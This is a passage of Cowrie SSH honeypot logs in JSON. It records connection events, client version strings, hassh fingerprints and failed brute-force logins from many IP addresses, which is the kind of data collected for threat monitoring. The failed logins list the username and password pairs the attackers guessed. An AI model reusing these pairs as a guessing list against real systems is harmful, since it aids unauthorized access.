age":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:23.528934Z","src_ip":"109.237.96.109","session":"2137fd77cbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:23.782156Z","src_ip":"92.118.39.49","session":"3f6065a12c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22111981","message":"login attempt [root/22111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:23.793126Z","src_ip":"109.237.96.109","session":"2137fd77cbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:24.878269Z","src_ip":"109.237.96.109","session":"2137fd77cbf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":47812,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce721b783741","protocol":"ssh","message":"New connection: 91.92.40.176:47812 (10.17.0.5:22) [session: ce721b783741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:53.961796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:53.964874Z","src_ip":"91.92.40.176","session":"ce721b783741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:54.045457Z","src_ip":"91.92.40.176","session":"ce721b783741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"anonymous","message":"login attempt [ftp/anonymous] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:54.291673Z","src_ip":"91.92.40.176","session":"ce721b783741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:13:55.375036Z","src_ip":"91.92.40.176","session":"ce721b783741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":41816,"dst_ip":"10.17.0.5","dst_port":22,"session":"bef75c272071","protocol":"ssh","message":"New connection: 43.134.49.202:41816 (10.17.0.5:22) [session: bef75c272071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:14.007740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:14.012394Z","src_ip":"43.134.49.202","session":"bef75c272071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:14.259203Z","src_ip":"43.134.49.202","session":"bef75c272071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iro","password":"iro","message":"login attempt [iro/iro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:15.270848Z","src_ip":"43.134.49.202","session":"bef75c272071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:16.519081Z","src_ip":"43.134.49.202","session":"bef75c272071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":60542,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c88764bfced","protocol":"ssh","message":"New connection: 143.20.185.207:60542 (10.17.0.5:22) [session: 8c88764bfced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:48.161134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:48.164546Z","src_ip":"143.20.185.207","session":"8c88764bfced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:48.279266Z","src_ip":"143.20.185.207","session":"8c88764bfced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined8VCPU32GBAMD","message":"login attempt [root/undefined8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:48.737227Z","src_ip":"143.20.185.207","session":"8c88764bfced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:15:49.855607Z","src_ip":"143.20.185.207","session":"8c88764bfced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":37552,"dst_ip":"10.17.0.5","dst_port":22,"session":"41393aaaac7e","protocol":"ssh","message":"New connection: 92.118.39.49:37552 (10.17.0.5:22) [session: 41393aaaac7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:04.512412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:04.515352Z","src_ip":"92.118.39.49","session":"41393aaaac7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:04.620241Z","src_ip":"92.118.39.49","session":"41393aaaac7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:04.928062Z","src_ip":"92.118.39.49","session":"41393aaaac7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":43794,"dst_ip":"159.203.135.109","dst_port":22,"session":"5647f29544d5","protocol":"ssh","message":"New connection: 162.144.213.198:43794 (159.203.135.109:22) [session: 5647f29544d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:06.002959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:06.024241Z","src_ip":"162.144.213.198","session":"5647f29544d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:06.038959Z","src_ip":"92.118.39.49","session":"41393aaaac7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:06.093019Z","src_ip":"162.144.213.198","session":"5647f29544d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guardawallet","password":"guarda123","message":"login attempt [guardawallet/guarda123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:06.442936Z","src_ip":"162.144.213.198","session":"5647f29544d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:08.412747Z","src_ip":"162.144.213.198","session":"5647f29544d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":57378,"dst_ip":"10.17.0.5","dst_port":22,"session":"076b30043fac","protocol":"ssh","message":"New connection: 194.36.147.215:57378 (10.17.0.5:22) [session: 076b30043fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:19.205895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:19.212597Z","src_ip":"194.36.147.215","session":"076b30043fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:19.293129Z","src_ip":"194.36.147.215","session":"076b30043fac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brett","password":"brett123","message":"login attempt [brett/brett123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:19.541409Z","src_ip":"194.36.147.215","session":"076b30043fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:20.624839Z","src_ip":"194.36.147.215","session":"076b30043fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":49820,"dst_ip":"10.17.0.5","dst_port":22,"session":"310a5559179d","protocol":"ssh","message":"New connection: 89.223.69.22:49820 (10.17.0.5:22) [session: 310a5559179d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:28.866827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:28.871089Z","src_ip":"89.223.69.22","session":"310a5559179d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:29.025824Z","src_ip":"89.223.69.22","session":"310a5559179d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31051979","message":"login attempt [root/31051979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:29.489764Z","src_ip":"89.223.69.22","session":"310a5559179d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:30.645952Z","src_ip":"89.223.69.22","session":"310a5559179d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.201.25","src_port":45356,"dst_ip":"10.17.0.5","dst_port":22,"session":"7690c7a89de4","protocol":"ssh","message":"New connection: 148.113.201.25:45356 (10.17.0.5:22) [session: 7690c7a89de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:57.867359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:57.870956Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:57.891903Z","src_ip":"148.113.201.25","session":"7690c7a89de4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":45598,"dst_ip":"10.17.0.5","dst_port":22,"session":"10d7ad628e69","protocol":"ssh","message":"New connection: 43.134.49.202:45598 (10.17.0.5:22) [session: 10d7ad628e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:16:57.962349Z"}
